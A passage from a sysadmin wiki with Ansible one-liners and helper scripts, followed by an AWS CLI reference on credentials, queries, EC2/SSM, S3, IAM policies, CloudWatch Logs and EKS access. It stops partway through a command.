'rc=0' # Pending updates count per host ansible all -m ansible.builtin.shell -a 'dnf -q check-update | grep -c . || true' -o # Free memory in MB per host, sorted ansible all -m ansible.builtin.setup -a 'filter=ansible_memfree_mb' -o | sed -E 's/^([^ ]+).*"ansible_memfree_mb": ([0-9]+).*/\2\t\1/' | sort -n # Kernel version distribution ansible all -m ansible.builtin.command -a 'uname -r' -o | awk '{print $NF}' | sort | uniq -c | sort -rn # Effective ansible.cfg settings that differ from defaults ansible-config dump --only-changed # Which ansible.cfg is in use ansible --version | grep 'config file' # Every module a project uses, by FQCN, with counts grep -rhoE '^\s+[a-z_]+\.[a-z_]+\.[a-z_]+:' roles/ playbooks/ | tr -d ' :' | sort | uniq -c | sort -rn # Collections required by the project versus installed diff <(yq -r '.collections[] | .name // .' requirements.yml | sort) <(ansible-galaxy collection list --format json | jq -r '.[] | keys[]' | sort -u) # Variables defined in defaults/ that no task or template references for v in $(yq -r 'keys[]' roles/nginx/defaults/main.yml); do grep -rq "$v" roles/nginx/{tasks,templates,handlers,vars} 2>/dev/null || echo "unused: $v"; done # Role variables not prefixed with the role name (ansible-lint var-naming) yq -r 'keys[]' roles/nginx/defaults/main.yml | grep -v '^nginx_' # Run a single role against one host without a playbook ansible web-01.example.com -m ansible.builtin.include_role -a name=nginx --become # Template a file locally and print it, using a host's variables ansible web-01.example.com -m ansible.builtin.template -a 'src=roles/nginx/templates/nginx.conf.j2 dest=/dev/stdout' --check --diff 2>/dev/null | sed -n '/^+++/,$p' # Evaluate a Jinja expression against real inventory variables ansible web-01.example.com -m ansible.builtin.debug -a "msg={{ groups['web'] | map('extract', hostvars, 'ansible_host') | list }}" # Facts for one host saved as JSON for offline querying ansible web-01.example.com -m ansible.builtin.setup --tree "$TMPDIR/facts" && jq '.ansible_facts | keys' "$TMPDIR/facts/web-01.example.com" # Diff inventory between two branches without connecting anywhere diff <(git show main:inventory/prod.yml | ansible-inventory -i /dev/stdin --list 2>/dev/null | jq -S .) <(ansible-inventory -i inventory/prod.yml --list | jq -S .) # Start a long job everywhere and return immediately (job ids in the output) ansible all -m ansible.builtin.command -a '/opt/my-app/bin/reindex' -B 3600 -P 0 --become # Lint only files changed on this branch git diff --name-only main... -- '*.yml' '*.yaml' | xargs -r ansible-lint # Time per task for a run, slowest first ANSIBLE_CALLBACKS_ENABLED=ansible.posix.profile_tasks ansible-playbook site.yml --check 2>&1 | sed -n '/^=====/,$p' | head -20 # Kill a stuck run's leftover async jobs on the targets ansible all -m ansible.builtin.shell -a 'pkill -f ansible_async_wrapper; rm -rf ~/.ansible_async' --become ``` ## Scripts Verify that every host in inventory is reachable and has a usable Python and sudo before a production run, and print a table rather than 200 lines of JSON. ```sh #!/usr/bin/env bash # preflight.sh [limit]: connectivity, interpreter and become check for every host, tab-separated set -euo pipefail limit=${1:-all} tmp=$(mktemp -d); trap 'rm -rf "$tmp"' EXIT ansible "$limit" -m ansible.builtin.setup -a 'gather_subset=min' --tree "$tmp/facts" >/dev/null 2>&1 || true ansible "$limit" -m ansible.builtin.command -a 'id -un' --become -o > "$tmp/become.txt" 2>&1 || true printf 'HOST\tREACHABLE\tPYTHON\tOS\tBECOME\n' for host in $(ansible "$limit" --list-hosts | tail -n +2 | tr -d ' '); do f="$tmp/facts/$host" if [ -f "$f" ] && jq -e '.ansible_facts' "$f" >/dev/null 2>&1; then reach=yes py=$(jq -r '.ansible_facts.ansible_python_version // "?"' "$f") os=$(jq -r '"\(.ansible_facts.ansible_distribution // "?") \(.ansible_facts.ansible_distribution_version // "")"' "$f") else reach=NO py=- os=- fi if grep -q "^$host | CHANGED.*\"stdout\": \"root\"" "$tmp/become.txt"; then become=ok elif grep -q "^$host | " "$tmp/become.txt"; then become=FAIL else become=-; fi printf '%s\t%s\t%s\t%s\t%s\n' "$host" "$reach" "$py" "$os" "$become" done | column -t -s $'\t' ``` Report configuration drift across the fleet by running the playbook in check mode and summarising which hosts would change and in which tasks, suitable for a nightly cron and a Slack post. ```sh #!/usr/bin/env bash # drift-report.sh PLAYBOOK [ansible-playbook args...]: hosts and tasks that would change under --check set -euo pipefail playbook=$1; shift tmp=$(mktemp -d); trap 'rm -rf "$tmp"' EXIT ANSIBLE_STDOUT_CALLBACK=ansible.builtin.json ANSIBLE_CALLBACK_RESULT_FORMAT=json \ ansible-playbook "$playbook" --check --diff "$@" > "$tmp/run.json" || true # non-zero when hosts are unreachable; still report jq -r ' .plays[] as $p | $p.tasks[] | .task.name as $t | .hosts | to_entries[] | select(.value.changed == true or .value.failed == true or .value.unreachable == true) | "\(.key)\t\(if .value.unreachable then "UNREACHABLE" elif .value.failed then "FAILED" else "would change" end)\t\($p.play.name) / \($t)" ' "$tmp/run.json" | sort > "$tmp/drift.tsv" if [ ! -s "$tmp/drift.tsv" ]; then echo "no drift: every host matches $playbook"; exit 0; fi printf 'hosts with drift: %s\n\n' "$(cut -f1 "$tmp/drift.tsv" | sort -u | wc -l)" column -t -s $'\t' "$tmp/drift.tsv" exit 2 ``` Rotate a vaulted secret across environments: generate a new value, re-encrypt it with each environment's vault id and rewrite only that key, leaving the rest of each vault file untouched. ```python #!/usr/bin/env python3 """Rotate one vaulted variable in several vault files without decrypting the others to disk. Usage: rotate-secret.py vault_db_password group_vars/prod/vault.yml group_vars/dev/vault.yml Requires ANSIBLE_VAULT_PASSWORD_FILE or a vault_identity_list in ansible.cfg that covers every file. """ import secrets import subprocess import sys from pathlib import Path import yaml key, *files = sys.argv[1:] new_value = secrets.token_urlsafe(32) for f in map(Path, files): decrypted = subprocess.run(["ansible-vault", "decrypt", "--output", "-", str(f)], check=True, capture_output=True, text=True).stdout data = yaml.safe_load(decrypted) or {} if key not in data: print(f"{f}: {key} not present, skipping", file=sys.stderr) continue data[key] = new_value vault_id = f.read_text().splitlines()[0].split(";")[3] if f.read_text().count(";") >= 3 else None cmd = ["ansible-vault", "encrypt", "--output", str(f)] if vault_id: cmd += ["--encrypt-vault-id", vault_id] subprocess.run(cmd, input=yaml.safe_dump(data, sort_keys=False), check=True, text=True) print(f"{f}: rotated {key}" + (f" (vault id {vault_id})" if vault_id else "")) print("new value written; deploy with ansible-playbook and update the consuming service", file=sys.stderr) ``` ## Further reading - [Ansible playbook guide](https://docs.ansible.com/ansible/latest/playbook_guide/index.html) - [Inventory plugins](https://docs.ansible.com/ansible/latest/plugins/inventory.html) - [Using filters](https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_filters.html) and [tests](https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_tests.html) - [Molecule documentation](https://ansible.readthedocs.io/projects/molecule/) - [ansible-lint rules](https://ansible.readthedocs.io/projects/lint/rules/) - [Ansible Vault](https://docs.ansible.com/ansible/latest/vault_guide/index.html) --- # AWS > Resolve AWS CLI v2 credentials and profiles, filter output, and run and debug common EC2, S3, IAM, logs, RDS, Lambda and EKS operations. Canonical: https://www.wiki.jodisand.me/aws/ Reviewed: 2026-09-24 Related: [Terraform](https://www.wiki.jodisand.me/terraform/index.md), [Kubernetes](https://www.wiki.jodisand.me/kubernetes/index.md), [jq](https://www.wiki.jodisand.me/jq/index.md), [SSH](https://www.wiki.jodisand.me/ssh/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Which identity and account | `aws sts get-caller-identity` | | Which profile, region and credential source | `aws configure list` | | Log in with IAM Identity Center | `aws sso login --profile prod` | | Log in with console credentials (CLI 2.32+) | `aws login --profile dev` | | Assume a role | `aws sts assume-role --role-arn --role-session-name alice` | | Filter output client-side | `--query 'Reservations[].Instances[].InstanceId' --output text` | | Shell on an instance, no SSH or bastion | `aws ssm start-session --target i-0abc123` | | Tail a log group | `aws logs tail /aws/lambda/my-fn --follow` | | Recent management API calls | `aws cloudtrail lookup-events --max-results 20` | | Preview a sync that deletes | `aws s3 sync ./dist s3://my-bucket/site --delete --dryrun` | | Temporary download URL | `aws s3 presign s3://my-bucket/key --expires-in 3600` | | Decode an encoded authorisation failure | `aws sts decode-authorization-message --encoded-message "$MSG"` | | Test a principal's permissions | `aws iam simulate-principal-policy --policy-source-arn --action-names s3:GetObject` | | Service quota | `aws service-quotas get-service-quota --service-code ec2 --quota-code L-1216C47A` | | Block until a state is reached | `aws ec2 wait instance-running --instance-ids i-0abc123` | Everything here is AWS CLI v2. v1 lacks `aws logs tail`, SSO sessions and `aws login`, and treats binary blobs differently. Check with `aws --version`. See the [AWS CLI v2 reference](https://docs.aws.amazon.com/cli/latest/reference/). ## Credentials and identity For each setting the CLI takes the first source that provides it, in this order: command-line options (`--profile`, `--region`), environment variables (`AWS_ACCESS_KEY_ID`, `AWS_PROFILE`, `AWS_REGION`), then the profile's configuration: assume role, assume role with web identity, IAM Identity Center (SSO), the `credentials` file, `credential_process`, the `config` file, then container credentials (ECS task role, EKS Pod Identity) and finally EC2 instance profile credentials from instance metadata. See [configuration and credential precedence](https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-authentication.html#cli-chap-authentication-precedence). A stale `AWS_ACCESS_KEY_ID` exported in a shell therefore beats a correct `--profile` in the config file, and an instance role is used silently when nothing else is configured. ```sh aws sts get-caller-identity # the reliable answer to "which account and role is this" aws configure list # each setting with its source (env, config-file, iam-role) env | grep '^AWS_' | cut -d= -f1 # which AWS variables are set, without printing values AWS_PROFILE=prod aws s3 ls ``` ```text { "UserId": "AROAEXAMPLEID:alice", "Account": "123456789012", "Arn": "arn:aws:sts::123456789012:assumed-role/PlatformEngineer/alice" } ``` ```ini # ~/.aws/config [sso-session corp] sso_start_url = https://example.awsapps.com/start sso_region = ap-southeast-2 sso_registration_scopes = sso:account:access [profile prod] sso_session = corp sso_account_id = 123456789012 sso_role_name = PlatformEngineer region = ap-southeast-2 output = json [profile prod-admin] source_profile = prod role_arn = arn:aws:iam::123456789012:role/Admin duration_seconds = 3600 ``` `aws sso login` caches a token under `~/.aws/sso/cache`; `aws login` (CLI 2.32.0+) does the same for console sign-in (root, IAM user or federated) under `~/.aws/login/cache`, refreshing for up to 12 hours. `aws configure export-credentials --profile prod --format env` prints temporary credentials for tools that cannot read profiles; the output is secret. > [!WARNING] Prefer short-lived credentials > Use IAM Identity Center or `aws login` for people and roles for workloads (instance profiles, ECS task roles, EKS Pod Identity or IRSA). A static access key must be rotated and kept out of repositories, images and CI logs. ## Output, queries and pagination `--filters` (and parameters such as `--prefix`) are applied by the service before it responds. `--query` is a [JMESPath](https://jmespath.org/) expression applied by the CLI after every page has been downloaded. On a large account, filter server-side first and use `--query` to shape the result. ```sh aws ec2 describe-instances --filters 'Name=instance-state-name,Values=running' \ --query 'Reservations[].Instances[].[InstanceId,InstanceType,PrivateIpAddress]' --output text aws ec2 describe-instances \ --query 'Reservations[].Instances[].[InstanceId,Tags[?Key==`Name`].Value|[0]]' --output table aws s3api list-objects-v2 --bucket my-bucket --prefix logs/ \ --query 'sort_by(Contents, &LastModified)[-5:].[Key,Size]' --output text ``` | Option | Effect | | --- | --- | | `--output json\|yaml\|text\|table` | `text` is tab-separated for `awk` and `cut`; `json` with [jq](https://www.wiki.jodisand.me/jq/) for nested data | | `--no-paginate` | Return only the first page | | `--page-size n` | Smaller API pages (avoids timeouts); still returns everything | | `--max-items n` | Stop after n items and print a `NextToken` for `--starting-token` | | `--no-cli-pager` | Disable the pager (`AWS_PAGER=""` does the same for a session) | | `--cli-read-timeout`, `--cli-connect-timeout` | Seconds before a request is abandoned; set in scripts | In `text` output, a `--query` that selects nothing prints `None`. Test for it explicitly in scripts. ### JMESPath patterns The same handful of constructs cover nearly every `--query`. Literals inside a filter use backticks; a string compared with a literal must be inside backticks or single quotes, and the whole expression is single-quoted for the shell. ```sh # Projection: a list of fields per item --query 'Reservations[].Instances[].[InstanceId,State.Name,PrivateIpAddress]' # Filter with a comparison, then project --query 'Volumes[?Size > `100`].[VolumeId,Size]' --query 'Reservations[].Instances[?State.Name==`running`].InstanceId[]' # trailing [] flattens nested lists # A tag value: filter the Tags list, take the first match, default when missing --query 'Reservations[].Instances[].[InstanceId, Tags[?Key==`Name`].Value | [0] || `untagged`]' # Multi-select hash: name the output keys, then --output table gives labelled columns --query 'DBInstances[].{id:DBInstanceIdentifier,class:DBInstanceClass,status:DBInstanceStatus,az:AvailabilityZone}' # Functions: sort, length, contains, starts_with, to_string, join --query 'sort_by(Functions, &LastModified)[-3:].FunctionName' --query 'length(Reservations[].Instances[])' --query 'Buckets[?starts_with(Name, `prod-`)].Name' --query 'Roles[?contains(RoleName, `Deploy`)].Arn' --query 'join(`,`, Subnets[].SubnetId)' # Boolean OR of conditions and negation --query 'SecurityGroups[?GroupName!=`default` && length(IpPermissions)==`0`].GroupId' # Pipe to re-shape the result of the left side --query 'Reservations[].Instances[] | [?Platform!=`windows`] | length(@)' ``` `--query` cannot compare dates or do arithmetic beyond comparisons of numbers; do that in [jq](https://www.wiki.jodisand.me/jq/) with `--output json`. Test an expression against saved output with `aws ec2 describe-instances --output json > ec2.json` and the `jp` CLI, or iterate quickly with `--no-cli-pager --output table`. ## EC2 and Systems Manager ```sh aws ec2 describe-instances --filters 'Name=tag:Environment,Values=prod' \ --query 'Reservations[].Instances[].[InstanceId,PrivateIpAddress,State.Name]' --output text aws ec2 start-instances --instance-ids i-0abc123 aws ec2 stop-instances --instance-ids i-0abc123 # instance-store data is lost aws ec2 describe-instance-status --instance-ids i-0abc123 # system and instance status checks aws ec2 get-console-output --instance-id i-0abc123 --latest --output text | tail -50 aws ec2 create-image --instance-id i-0abc123 --name "backup-$(date +%F)" --no-reboot aws ssm start-session --target i-0abc123 # needs the SSM agent and session-manager-plugin aws ssm start-session --target i-0abc123 \ --document-name AWS-StartPortForwardingSession --parameters 'portNumber=5432,localPortNumber=15432' ``` `--no-reboot` images a running filesystem, so the image may be inconsistent for databases. Security groups are stateful: an inbound allow implies the reply traffic. Network ACLs are stateless and need rules in both directions, including the ephemeral port range for replies. That asymmetry explains most "the security group looks correct" cases. ```sh # Launch from the latest Amazon Linux 2023 AMI via the public SSM parameter, with tags at creation AMI=$(aws ssm get-parameter --name /aws/service/ami-amazon-linux-latest/al2023-ami-kernel-default-x86_64 --query Parameter.Value --output text) aws ec2 run-instances --image-id "$AMI" --instance-type t3.small --subnet-id subnet-0abc123 \ --security-group-ids sg-0abc123 --iam-instance-profile Name=ssm-managed \ --metadata-options HttpTokens=required \ --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=web-01},{Key=Environment,Value=prod}]' \ --user-data file://cloud-init.yml --query 'Instances[0].InstanceId' --output text aws ec2 authorize-security-group-ingress --group-id sg-0abc123 --ip-permissions \ 'IpProtocol=tcp,FromPort=443,ToPort=443,IpRanges=[{CidrIp=192.0.2.0/24,Description="office"}]' aws ec2 describe-security-group-rules --filters Name=group-id,Values=sg-0abc123 --query 'SecurityGroupRules[].[SecurityGroupRuleId,IsEgress,IpProtocol,FromPort,CidrIpv4]' --output table aws ec2 modify-instance-attribute --instance-id i-0abc123 --instance-type t3.large # stopped instance only aws ec2 modify-instance-metadata-options --instance-id i-0abc123 --http-tokens required # enforce IMDSv2 aws ec2 create-tags --resources i-0abc123 vol-0abc123 --tags Key=Owner,Value=platform aws ec2 terminate-instances --instance-ids i-0abc123 # irreversible; check DisableApiTermination first aws ec2 describe-instance-attribute --instance-id i-0abc123 --attribute disableApiTermination ``` `HttpTokens=required` forces IMDSv2, which stops SSRF-style credential theft through the metadata service; make it the default on every launch template. `--user-data` is run once by cloud-init on first boot; changes to it on a stopped instance do not re-run unless the instance is rebuilt. ### Systems Manager beyond sessions SSM also runs commands across a fleet selected by tag, stores configuration in Parameter Store, and reports inventory and patch state, all without opening inbound ports. ```sh aws ssm describe-instance-information --query 'InstanceInformationList[].[InstanceId,PingStatus,PlatformName,AgentVersion]' --output table aws ssm send-command --document-name AWS-RunShellScript --targets 'Key=tag:Environment,Values=prod' \ --parameters 'commands=["dnf -y check-update || true","systemctl is-active nginx"]' \ --comment "health check" --query Command.CommandId --output text aws ssm list-command-invocations --command-id "$CMD_ID" --details \ --query 'CommandInvocations[].[InstanceId,Status,CommandPlugins[0].Output]' --output text aws ssm get-parameter --name /my-app/prod/db_url --with-decryption --query Parameter.Value --output text aws ssm get-parameters-by-path --path /my-app/prod/ --recursive --with-decryption --query 'Parameters[].[Name,Version]' --output table aws ssm put-parameter --name /my-app/prod/db_url --type SecureString --value "$DB_URL" --overwrite # value lands in shell history unless read from a variable aws ssm describe-instance-patch-states --instance-ids i-0abc123 --query 'InstancePatchStates[].[InstanceId,MissingCount,FailedCount,OperationEndTime]' --output text aws ssm start-session --target i-0abc123 --document-name AWS-StartInteractiveCommand --parameters 'command=["journalctl -u nginx -n 50"]' ``` `send-command` returns immediately; poll `list-command-invocations` or pass `--output-s3-bucket-name` for output longer than the 2,500-character inline limit. Session Manager sessions are logged to CloudWatch or S3 when the `SSM-SessionManagerRunShell` document preferences say so, which is the audit trail SSH never had. ## S3 ```sh aws s3 ls s3://my-bucket/prefix/ --human-readable --summarize aws s3 sync ./dist s3://my-bucket/site --delete --dryrun # always preview --delete aws s3 cp file.tar s3://my-bucket/key --storage-class INTELLIGENT_TIERING aws s3 presign s3://my-bucket/key --expires-in 3600 aws s3api head-object --bucket my-bucket --key key # size, encryption, metadata aws s3api get-bucket-policy --bucket my-bucket --query Policy --output text | jq aws s3api list-object-versions --bucket my-bucket --prefix key \ --query 'Versions[].[Key,VersionId,IsLatest]' --output text aws s3api get-public-access-block --bucket my-bucket ``` `aws s3` is the high-level interface (sync, recursive copy, automatic multipart). `aws s3api` maps one-to-one to API operations for policies, versions and metadata. > [!WARNING] `sync --delete` and `rm --recursive` are immediate > Without versioning there is no undo. Run with `--dryrun` first and check the account with `aws sts get-caller-identity`. Defaults that changed: since January 2023 every new object is encrypted with SSE-S3, so a bucket without an explicit encryption configuration is still encrypted. Since April 2023 new buckets have Block Public Access on and ACLs disabled (Object Ownership "bucket owner enforced"). A presigned URL stops working when the credentials that signed it expire, so a URL signed with SSO or role credentials can die before its `--expires-in` (maximum 7 days). ```sh aws s3api create-bucket --bucket my-bucket --region ap-southeast-2 --create-bucket-configuration LocationConstraint=ap-southeast-2 # omit the constraint only in us-east-1 aws s3api put-bucket-versioning --bucket my-bucket --versioning-configuration Status=Enabled aws s3api put-bucket-encryption --bucket my-bucket --server-side-encryption-configuration \ '{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"aws:kms","KMSMasterKeyID":"alias/my-app"},"BucketKeyEnabled":true}]}' aws s3api put-bucket-lifecycle-configuration --bucket my-bucket --lifecycle-configuration file://lifecycle.json aws s3api get-bucket-lifecycle-configuration --bucket my-bucket aws s3api put-bucket-policy --bucket my-bucket --policy file://policy.json aws s3api get-bucket-location --bucket my-bucket aws s3 rm s3://my-bucket/tmp/ --recursive --exclude '*' --include '*.log' # include/exclude are evaluated in order aws s3api list-multipart-uploads --bucket my-bucket --query 'Uploads[].[Key,UploadId,Initiated]' --output text # abandoned uploads still bill aws s3api abort-multipart-upload --bucket my-bucket --key key --upload-id "$UPLOAD_ID" aws s3api restore-object --bucket my-bucket --key archive.tar --restore-request 'Days=7,GlacierJobParameters={Tier=Bulk}' ``` ```json { "Rules": [ { "ID": "logs", "Filter": { "Prefix": "logs/" }, "Status": "Enabled", "Transitions": [{ "Days": 30, "StorageClass": "STANDARD_IA" }, { "Days": 90, "StorageClass": "GLACIER_IR" }], "Expiration": { "Days": 365 }, "NoncurrentVersionExpiration": { "NoncurrentDays": 30 }, "AbortIncompleteMultipartUpload": { "DaysAfterInitiation": 7 } } ] } ``` Every versioned bucket needs `NoncurrentVersionExpiration` and every bucket needs `AbortIncompleteMultipartUpload`, or storage grows invisibly: `aws s3 ls` shows neither old versions nor incomplete parts. A bucket policy that denies `s3:*` without `aws:SecureTransport` enforces TLS; one that denies `s3:PutObject` unless `s3:x-amz-server-side-encryption` equals `aws:kms` enforces the key. Bucket policies are the resource side of [IAM evaluation](#iam-policy-evaluation) and can grant cross-account access on their own, so review them with `get-bucket-policy` during any access audit. ## IAM policy evaluation An explicit `Deny` in any applicable policy wins. Otherwise an `Allow` must exist in an identity-based or resource-based policy, and every guardrail in play must also allow the action: service control policies (SCPs) and resource control policies (RCPs) from AWS Organizations, permission boundaries and session policies. "Denied with a policy that clearly allows it" is nearly always a guardrail. See [policy evaluation logic](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic.html). ```sh aws iam simulate-principal-policy \ --policy-source-arn arn:aws:iam::123456789012:role/Deploy \ --action-names s3:PutObject --resource-arns 'arn:aws:s3:::my-bucket/key' aws sts decode-authorization-message --encoded-message "$MSG" --query DecodedMessage --output text | jq aws iam list-attached-role-policies --role-name Deploy aws iam list-role-policies --role-name Deploy # inline policies aws iam get-account-authorization-details > iam-dump.json # everything, for offline review ``` `simulate-principal-policy` evaluates identity policies, permission boundaries and SCPs. It ignores RCPs, and evaluates a resource-based policy only when passed with `--resource-policy`, which works for IAM users but not roles. `decode-authorization-message` needs `sts:DecodeAuthorizationMessage`. ```json { "Version": "2012-10-17", "Statement": [{ "Effect": "Allow", "Action": ["s3:GetObject", "s3:PutObject"], "Resource": "arn:aws:s3:::my-bucket/prod/*", "Condition": { "StringEquals": { "aws:PrincipalTag/Team": "platform" } } }] } ``` ### Policy patterns A role has two policies: the trust policy (who may assume it) and permission policies (what it may do). Most cross-account and CI failures are on the trust side. ```json { "Version": "2012-10-17", "Statement": [ { "Sid": "GitHubActionsOIDC", "Effect": "Allow", "Principal": { "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com" }, "Action": "sts:AssumeRoleWithWebIdentity", "Condition": { "StringEquals": { "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" }, "StringLike": { "token.actions.githubusercontent.com:sub": "repo:my-org/my-app:ref:refs/heads/main" } } }, { "Sid": "CrossAccountWithExternalId", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::210987654321:role/Deployer" }, "Action": "sts:AssumeRole", "Condition": { "StringEquals": { "sts:ExternalId": "my-app-prod" } } } ] } ``` Permission patterns worth copying rather than inventing: ```json { "Version": "2012-10-17", "Statement": [ { "Sid": "ListOnlyMyPrefix", "Effect": "Allow", "Action": "s3:ListBucket", "Resource": "arn:aws:s3:::my-bucket", "Condition": { "StringLike": { "s3:prefix": ["team/${aws:PrincipalTag/Team}/*"] } } }, { "Sid": "ObjectsInMyPrefix", "Effect": "Allow", "Action": ["s3:GetObject", "s3:PutObject", "s3:DeleteObject"], "Resource": "arn:aws:s3:::my-bucket/team/${aws:PrincipalTag/Team}/*" }, { "Sid": "TagBasedEC2Control", "Effect": "Allow", "Action": ["ec2:StartInstances", "ec2:StopInstances"], "Resource": "arn:aws:ec2:*:123456789012:instance/*", "Condition": { "StringEquals": { "aws:ResourceTag/Owner": "${aws:PrincipalTag/Team}" } } }, { "Sid": "RequireMFAForDeletes", "Effect": "Deny", "Action": ["s3:DeleteBucket", "rds:DeleteDBInstance"], "Resource": "*", "Condition": { "BoolIfExists": { "aws:MultiFactorAuthPresent": "false" } } }, { "Sid": "RegionLock", "Effect": "Deny", "NotAction": ["iam:*", "sts:*", "organizations:*", "support:*", "cloudfront:*", "route53:*"], "Resource": "*", "Condition": { "StringNotEquals": { "aws:RequestedRegion": ["ap-southeast-2", "us-east-1"] } } }, { "Sid": "OnlyFromVPC", "Effect": "Deny", "Action": "s3:*", "Resource": "arn:aws:s3:::my-bucket/*", "Condition": { "StringNotEquals": { "aws:SourceVpce": "vpce-0abc123" } } } ] } ``` `s3:ListBucket` targets the bucket ARN and object actions target `bucket/*`; putting both actions on both resources is the classic mistake that makes a policy either fail or over-grant. `NotAction` with `Deny` is how region locks and SCPs exclude global services. Policy variables such as `${aws:PrincipalTag/Team}` make one policy serve every team (attribute-based access control) instead of one policy per team. Use `aws iam create-policy-version --set-as-default` to update a managed policy, and `aws iam get-policy-version` to read the current document, since `get-policy` returns only metadata. IAM Access Analyzer's `aws accessanalyzer validate-policy --policy-document file://p.json --policy-type IDENTITY_POLICY` catches syntax errors and over-broad grants before you attach anything. Permission boundaries cap what a role may grant to roles it creates, which is how a CI role can create IAM roles for applications without being able to grant itself administrator access. ## CloudWatch Logs and CloudTrail ```sh aws logs tail /aws/lambda/my-fn --follow --since 10m --format short aws logs tail /aws/eks/prod/cluster --filter-pattern 'ERROR' aws logs start-query --log-group-name /aws/lambda/my-fn \ --start-time "$(date -d '1 hour ago' +%s)" --end-time "$(date +%s)" \ --query-string 'fields @timestamp, @message | filter @message like /ERROR/ | sort @timestamp desc | limit 20' aws logs get-query-results --query-id # repeat until status is Complete aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=TerminateInstances \ --query 'Events[].[EventTime,Username,Resources[0].ResourceName]' --output text ``` Logs Insights queries are billed by data scanned; narrow the time range. `lookup-events` searches the 90-day event history of management events in the current region only. Data events, such as S3 object reads, are recorded only by a trail or event data store configured for them. ### Logs Insights recipes Insights queries are pipelines. `fields`, `filter`, `parse`, `stats`, `sort` and `limit` cover nearly everything, and `@message`, `@timestamp`, `@logStream` and `@log` exist in every group. JSON log lines have their fields auto-discovered, so `filter level = "error"` works without parsing. ```sql -- Error count per 5 minutes filter @message like /(?i)error/ | stats count() as errors by bin(5m) -- Top 10 status codes and paths from JSON-structured access logs filter ispresent(status) | stats count() as n by status, path | sort n desc | limit 10 -- Parse an unstructured line into fields, then aggregate parse @message /duration=(?\d+)ms path=(?\S+)/ | stats avg(ms) as avg_ms, pct(ms, 99) as p99_ms, max(ms) as max_ms by path | sort p99_ms desc -- Lambda: cold starts and memory headroom from REPORT lines filter @type = "REPORT" | stats count() as invocations, sum(strcontains(@message, "Init Duration")) as cold_starts, max(@maxMemoryUsed / 1000000) as max_mb, avg(@duration) as avg_ms by bin(1h) -- EKS control plane audit: who deleted what fields @timestamp, user.username, verb, objectRef.namespace, objectRef.resource, objectRef.name | filter verb = "delete" and objectRef.resource not in ["events", "leases"] | sort @timestamp desc -- VPC Flow Logs: rejected connections by destination port filter action = "REJECT" | stats count() as rejects by dstPort, dstAddr | sort rejects desc | limit 20 -- Which log streams are noisiest (find the chatty pod) stats count() as lines, sum(strlen(@message)) as bytes by @logStream | sort bytes desc | limit 10 ``` ```sh # Run a query and wait for it, one command QID=$(aws logs start-query --log-group-names /aws/eks/prod/cluster /aws/lambda/my-fn \ --start-time "$(date -d '2 hours ago' +%s)" --end-time "$(date +%s)" \ --query-string 'filter @message like /ERROR/ | stats count() by bin(10m)' --query queryId --output text) until [ "$(aws logs get-query-results --query-id "$QID" --query status --output text)" = Complete ]; do sleep 2; done aws logs get-query-results --query-id "$QID" --query 'results[].[ [0].value, [1].value ]' --output text # Cheaper than Insights for a known pattern in a short window aws logs filter-log-events --log-group-name /aws/lambda/my-fn --start-time "$(( $(date -d '30 min ago' +%s) * 1000 ))" \ --filter-pattern '{ $.level = "error" }' --query 'events[].message' --output text # Retention and size per log group: unset retention is the usual cost leak aws logs describe-log-groups --query 'logGroups[].[logGroupName,retentionInDays,storedBytes]' --output text | sort -k3 -rn | head aws logs put-retention-policy --log-group-name /aws/lambda/my-fn --retention-in-days 30 ``` `--start-time` and `--end-time` are seconds for `start-query` and milliseconds for `filter-log-events`; getting that wrong returns nothing rather than an error. Saved queries live in `aws logs describe-query-definitions`, and `stats ... by bin()` output is the same shape as a Prometheus range query if you need to compare with [Prometheus](https://www.wiki.jodisand.me/prometheus/). ## RDS, Lambda and EKS ```sh aws rds describe-db-instances \ --query 'DBInstances[].[DBInstanceIdentifier,DBInstanceStatus,Endpoint.Address]' --output table aws rds create-db-snapshot --db-instance-identifier prod --db-snapshot-identifier "pre-change-$(date +%F)" aws rds describe-events --source-identifier prod --source-type db-instance --duration 1440 aws lambda invoke --function-name my-fn --payload '{"k":"v"}' --cli-binary-format raw-in-base64-out out.json aws lambda get-function-configuration --function-name my-fn --query '[Timeout,MemorySize,LastUpdateStatus]' aws eks update-kubeconfig --name prod --region ap-southeast-2 # writes a context to ~/.kube/config aws eks describe-cluster --name prod --query 'cluster.[version,status,endpoint]' aws eks list-nodegroups --cluster-name prod aws eks list-access-entries --cluster-name prod # IAM principals mapped into the cluster ``` Take a manual snapshot before any risky change to a database you cannot rebuild; automated snapshots are deleted with the instance unless retained. Without `--cli-binary-format raw-in-base64-out`, CLI v2 expects `--payload` to be base64 and rejects plain JSON. For cluster work after `update-kubeconfig`, see [Kubernetes](https://www.wiki.jodisand.me/kubernetes/#start-with-a-failing-workload). ### EKS operations from the CLI Cluster access is IAM first: `update-kubeconfig` writes an exec entry that runs `aws eks get-token`, and the resulting identity must appear in the cluster's access entries (the replacement for the `aws-auth` ConfigMap, authentication mode `API` or `API_AND_CONFIG_MAP`). Workload identity comes from Pod Identity associations or the older IRSA (an OIDC provider plus a role trust policy). ```sh aws eks describe-cluster --name prod --query 'cluster.accessConfig.authenticationMode' --output text aws eks create-access-entry --cluster-name prod --principal-arn arn:aws:iam::123456789012:role/PlatformEngineer --type STANDARD aws eks associate-access-policy --cluster-name prod --principal-arn arn:aws:iam::123456789012:role/PlatformEngineer \ --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster aws eks associate-access-policy --cluster-name prod --principal-arn arn:aws:iam::123456789012:role/AppTeam \ --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSEditPolicy --access-scope type=namespace,namespaces=my-namespace aws eks list-associated-access-policies --cluster-name prod --principal-arn arn:aws:iam::123456789012:role/AppTeam aws eks create-pod-identity-association --cluster-name prod --namespace my-namespace --service-account my-app \ --role-arn arn:aws:iam::123456789012:role/my-app # role trusts pods.eks.amazonaws.com aws eks list-pod-identity-associations --cluster-name prod --namespace 